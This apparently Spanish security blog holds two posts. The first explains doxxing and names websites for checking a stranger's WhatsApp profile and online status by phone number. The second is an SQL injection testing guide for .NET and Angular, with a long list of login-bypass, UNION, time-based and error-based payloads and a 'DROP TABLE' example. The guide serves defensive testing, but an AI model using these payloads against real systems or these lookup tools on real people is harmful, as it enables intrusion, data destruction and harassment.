lunes, 16 de junio de 2025

Obtener información del perfil de WhatsApp sin agregar una persona

Buenas lectores.

Existe una práctica llamada doxxing o doxeo en español, consiste en investigar y divulgar públicamente información personal de alguien, como su nombre completo, dirección, número de teléfono, etc., a menudo con la intención de acosar, amenazar o avergonzar a la persona. El término proviene de la alteración de la palabra "docs" (documentos) y se refiere a la acción de recopilar y publicar información personal de alguien. El doxxing se considera una forma de acoso cibernético y, en algunos casos, puede tener consecuencias legales graves. 

En resumen, el doxxing implica:

Investigación:

  • Recopilar información personal de una persona, a menudo de forma encubierta. 

Divulgación pública:

  • Publicar esa información en línea, generalmente en un foro público o en redes sociales. 

Intención maliciosa:

  • La divulgación suele tener como objetivo acosar, amenazar o avergonzar a la persona. 


¿Cómo lo hacen?

No necesitas ser un genio informático para hacer doxxing. A veces basta con que alguien vea tu nombre en WhatsApp, lo busque en Google, revise tus redes sociales públicas y, con un par de clics, ya tiene medio rompecabezas armado. Otras veces, se meten a bases de datos filtradas o aprovechan que compartiste algo de más en un grupo equivocado.


¿En la práctica?

Simplemente lo que vamos a usar es el siguiente sitio:

https://whatsapp.checkleaked.cc/

Seleccionamos el número que queremos ver y listo.


Tambien puedes usar:

https://watools.io/check-online-status

https://app.lastseentracker.com/


Tips rápidos para cuidarte en WhatsApp:

  • Revisa tu foto de perfil y quién puede verla. A veces, una simple imagen puede revelar más de lo que parece.
  • Cambia tu nombre de contacto. Usa un alias si estás en grupos con desconocidos.
  • No compartas datos personales en grupos abiertos.
  • Activa la verificación en dos pasos en tu cuenta de WhatsApp.
  • Si algo huele raro, sal del grupo y bloquea sin miedo.

Fuente:
https://underc0de.org/foro/hacking/obtener-informacion-del-perfil-de-whatsapp/

jueves, 5 de junio de 2025

Guía esencial para un software tester: payloads para realizar pruebas efectivas Sqli

Buenas lectores.

Las vulnerabilidades de SQL Injection pueden comprometer bases de datos enteras, permitiendo el acceso no autorizado a información sensible, manipulación de registros y ejecución de comandos arbitrarios. En aplicaciones modernas con .NET y Angular, es esencial conocer cómo prevenir estos ataques y cómo realizar pruebas de seguridad adecuadas.


1. ¿Qué es SQL Injection y por qué es crítico?

SQL Injection ocurre cuando una aplicación permite que un atacante inserte consultas SQL maliciosas dentro de las entradas de usuario, afectando la base de datos subyacente.

Las consecuencias pueden incluir:

  • Robo de información (usuarios, contraseñas, datos personales).
  • Modificación o eliminación de registros sin autorización.
  • Ejecución de comandos administrativos en el servidor.
  • Escalación de privilegios y acceso total a la base de datos.


Probar SQL Injection en una aplicación ayuda a garantizar que no existan puntos débiles en la gestión de entradas de usuario.


2. ¿Cuándo realizar pruebas de SQL Injection en .NET con Angular?

Las pruebas de SQL Injection deben llevarse a cabo en áreas donde la aplicación interactúa con la base de datos. Algunos puntos clave incluyen: 

✔ Formularios de inicio de sesión: Validar que las credenciales sean verificadas de manera segura.

✔ Campos de búsqueda y filtrado: Asegurarse de que las consultas SQL sean parametrizadas. 

✔ URLs con parámetros dinámicos: Evitar que un atacante manipule valores para inyectar SQL. 

✔ APIs y endpoints: Revisar que las consultas SQL dentro de servicios REST estén protegidas.


3. Métodos para realizar pruebas de SQL Injection en aplicaciones modernas

a) Pruebas manuales con payloads básicos

Introduce valores maliciosos en los campos de entrada para verificar si la aplicación es vulnerable. 

En un formulario de login:

sql

' OR 1=1 --

Si la aplicación permite el acceso sin una contraseña válida, es vulnerable.


En una consulta de búsqueda:

sql

'; DROP TABLE Users; --

Si esto elimina registros, significa que la base de datos no está protegida contra ataques.


b) Uso de herramientas de escaneo de seguridad

Utiliza herramientas especializadas para detectar SQL Injection:

  • Burp Suite: Para interceptar y modificar solicitudes SQL en aplicaciones web.
  • SQLMap: Para automatizar la búsqueda de vulnerabilidades en bases de datos.
  • OWASP ZAP: Para realizar análisis de seguridad en APIs y endpoints.


c) Validación de consultas parametrizadas en .NET

Las aplicaciones modernas en .NET deben evitar concatenaciones directas en SQL. Ejemplo incorrecto:


string query = "SELECT * FROM Users WHERE username = '" + userInput + "'";

Ejemplo seguro con consultas parametrizadas:


string query = "SELECT * FROM Users WHERE username = @username";

SqlCommand command = new SqlCommand(query, connection);

command.Parameters.AddWithValue("@username", userInput);

Esto evita que los valores de entrada sean interpretados como comandos SQL.


d) Seguridad en Angular y APIs REST

En aplicaciones con Angular y .NET, es fundamental sanitizar las entradas antes de enviarlas al backend. Ejemplo en Angular con HttpClient:

const sanitizedInput = encodeURIComponent(userInput);

this.http.get(`/api/users?search=${sanitizedInput}`).subscribe();

Esto previene que caracteres especiales se interpreten como parte de una consulta SQL.


4. Buenas prácticas para mitigar SQL Injection

✅ Utilizar consultas parametrizadas en .NET en todas las interacciones con la base de datos. 

✅ Escapar y sanitizar entradas en Angular antes de enviarlas al backend. 

✅ Implementar validaciones en servidor y evitar confiar en datos del cliente. 

✅ Limitar privilegios de la base de datos, evitando que usuarios web tengan acceso administrativo.

✅ Aplicar herramientas de escaneo como OWASP ZAP y SQLMap para pruebas de seguridad regulares.


Por último y como es costumbre te dejo una buena lista de payloads para usar:

'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

Generic Union Select Payloads

 ORDER BY SLEEP(5)
 ORDER BY 1,SLEEP(5)
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A'))
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
 ORDER BY SLEEP(5)#
 ORDER BY 1,SLEEP(5)#
 ORDER BY 1,SLEEP(5),3#
 ORDER BY 1,SLEEP(5),3,4#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9#
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10#

Generic Time Based SQL Injection Payloads

# from wapiti
sleep(5)#
1 or sleep(5)#
" or sleep(5)#
' or sleep(5)#
" or sleep(5)="
' or sleep(5)='
1) or sleep(5)#
") or sleep(5)="
') or sleep(5)='
1)) or sleep(5)#
")) or sleep(5)="
')) or sleep(5)='
;waitfor delay '0:0:5'--
);waitfor delay '0:0:5'--
';waitfor delay '0:0:5'--
";waitfor delay '0:0:5'--
');waitfor delay '0:0:5'--
");waitfor delay '0:0:5'--
));waitfor delay '0:0:5'--
'));waitfor delay '0:0:5'--
"));waitfor delay '0:0:5'--
benchmark(10000000,MD5(1))#
1 or benchmark(10000000,MD5(1))#
" or benchmark(10000000,MD5(1))#
' or benchmark(10000000,MD5(1))#
1) or benchmark(10000000,MD5(1))#
") or benchmark(10000000,MD5(1))#
') or benchmark(10000000,MD5(1))#
1)) or benchmark(10000000,MD5(1))#
")) or benchmark(10000000,MD5(1))#
')) or benchmark(10000000,MD5(1))#
pg_sleep(5)--
1 or pg_sleep(5)--
" or pg_sleep(5)--
' or pg_sleep(5)--
1) or pg_sleep(5)--
") or pg_sleep(5)--
') or pg_sleep(5)--
1)) or pg_sleep(5)--
")) or pg_sleep(5)--
')) or pg_sleep(5)--
AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe
AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'='
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)--
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)#
SLEEP(5)#
SLEEP(5)--
SLEEP(5)="
SLEEP(5)='
or SLEEP(5)
or SLEEP(5)#
or SLEEP(5)--
or SLEEP(5)="
or SLEEP(5)='
waitfor delay '00:00:05'
waitfor delay '00:00:05'--
waitfor delay '00:00:05'#
benchmark(50000000,MD5(1))
benchmark(50000000,MD5(1))--
benchmark(50000000,MD5(1))#
or benchmark(50000000,MD5(1))
or benchmark(50000000,MD5(1))--
or benchmark(50000000,MD5(1))#
pg_SLEEP(5)
pg_SLEEP(5)--
pg_SLEEP(5)#
or pg_SLEEP(5)
or pg_SLEEP(5)--
or pg_SLEEP(5)#
'\"
AnD SLEEP(5)
AnD SLEEP(5)--
AnD SLEEP(5)#
&&SLEEP(5)
&&SLEEP(5)--
&&SLEEP(5)#
' AnD SLEEP(5) ANd '1
'&&SLEEP(5)&&'1
ORDER BY SLEEP(5)
ORDER BY SLEEP(5)--
ORDER BY SLEEP(5)#
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)#
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)--
+benchmark(3200,SHA1(1))+'
+ SLEEP(10) + '
RANDOMBLOB(500000000/2)
AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
RANDOMBLOB(1000000000/2)
AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/

Generic Error Based Payloads

 OR 1=1
 OR 1=0
 OR x=x
 OR x=y
 OR 1=1#
 OR 1=0#
 OR x=x#
 OR x=y#
 OR 1=1--
 OR 1=0--
 OR x=x--
 OR x=y--
 OR 3409=3409 AND ('pytW' LIKE 'pytW
 OR 3409=3409 AND ('pytW' LIKE 'pytY
 HAVING 1=1
 HAVING 1=0
 HAVING 1=1#
 HAVING 1=0#
 HAVING 1=1--
 HAVING 1=0--
 AND 1=1
 AND 1=0
 AND 1=1--
 AND 1=0--
 AND 1=1#
 AND 1=0#
 AND 1=1 AND '%'='
 AND 1=0 AND '%'='
 AND 1083=1083 AND (1427=1427
 AND 7506=9091 AND (5913=5913
 AND 1083=1083 AND ('1427=1427
 AND 7506=9091 AND ('5913=5913
 AND 7300=7300 AND 'pKlZ'='pKlZ
 AND 7300=7300 AND 'pKlZ'='pKlY
 AND 7300=7300 AND ('pKlZ'='pKlZ
 AND 7300=7300 AND ('pKlZ'='pKlY
 AS INJECTX WHERE 1=1 AND 1=1
 AS INJECTX WHERE 1=1 AND 1=0
 AS INJECTX WHERE 1=1 AND 1=1#
 AS INJECTX WHERE 1=1 AND 1=0#
 AS INJECTX WHERE 1=1 AND 1=1--
 AS INJECTX WHERE 1=1 AND 1=0--
 WHERE 1=1 AND 1=1
 WHERE 1=1 AND 1=0
 WHERE 1=1 AND 1=1#
 WHERE 1=1 AND 1=0#
 WHERE 1=1 AND 1=1--
 WHERE 1=1 AND 1=0--
 ORDER BY 1--
 ORDER BY 2--
 ORDER BY 3--
 ORDER BY 4--
 ORDER BY 5--
 ORDER BY 6--
 ORDER BY 7--
 ORDER BY 8--
 ORDER BY 9--
 ORDER BY 10--
 ORDER BY 11--
 ORDER BY 12--
 ORDER BY 13--
 ORDER BY 14--
 ORDER BY 15--
 ORDER BY 16--
 ORDER BY 17--
 ORDER BY 18--
 ORDER BY 19--
 ORDER BY 20--
 ORDER BY 21--
 ORDER BY 22--
 ORDER BY 23--
 ORDER BY 24--
 ORDER BY 25--
 ORDER BY 26--
 ORDER BY 27--
 ORDER BY 28--
 ORDER BY 29--
 ORDER BY 30--
 ORDER BY 31337--

Generic SQL Injection Payloads

'
''
`
``
,
"
""
/
//
\
\\
;
' or "
-- or #
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
'='
'LIKE'
'=0--+
 OR 1=1
' OR 'x'='x
' AND id IS NULL; --
'''''''''''''UNION SELECT '2
%00
/*...*/
+      addition, concatenate (or space in url)
||      (double pipe) concatenate
%      wildcard attribute indicator

variable   local variable
variable   global variable


# Numeric
AND 1
AND 0
AND true
AND false
1-false
1-true
1*56
-2


1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+

1' ORDER BY 1,2--+
1' ORDER BY 1,2,3--+

1' GROUP BY 1,2,--+
1' GROUP BY 1,2,3--+
' GROUP BY columnnames having 1=1 --


-1' UNION SELECT 1,2,3--+
' UNION SELECT sum(columnname ) from tablename --


-1 UNION SELECT 1 INTO @,-1 UNION SELECT 1 INTO @,@,
1 AND (SELECT * FROM Users) = 1   

' AND MID(VERSION(),1,1) = '5';

' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --


Finding the table name


Time-Based:
,(select * from (select(sleep(10)))a)
%2c(select%20*%20from%20(select(sleep(10)))a)
';WAITFOR DELAY '0:0:30'--

Comments:

#       Hash comment
/*     C-style comment
-- -   SQL comment
;%00   Nullbyte
`       Backtick

Algunas listas más ordenadas:

https://github.com/payloadbox/sql-injection-payload-list


Conclusión

SQL Injection sigue siendo una de las amenazas más críticas en aplicaciones web modernas. Las pruebas adecuadas en .NET con Angular aseguran que las interacciones con la base de datos sean seguras y protegidas.


Fuentes:

https://underc0de.org/foro/hacking/lista-de-webs-para-practicar-sql-y-xss/